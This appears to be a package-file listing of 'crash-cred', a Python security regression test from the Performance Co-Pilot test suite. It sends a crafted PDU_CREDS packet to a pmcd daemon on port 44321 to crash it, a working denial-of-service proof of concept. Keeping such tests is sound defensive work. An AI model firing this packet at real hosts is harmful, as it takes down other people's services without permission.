/var/lib/pcp/testsuite/secure/crash-cred is in pcp-testsuite 3.9.10.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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# usage: python crash-cred HOST
#
# Connects to pmcd on HOST and sends a crafted PDU_CREDS packet,
# causing the daemon to crash.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
sock.send(str('\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x01\x00\x00\x01\x01\x02\x00\x00'))
sock.close()
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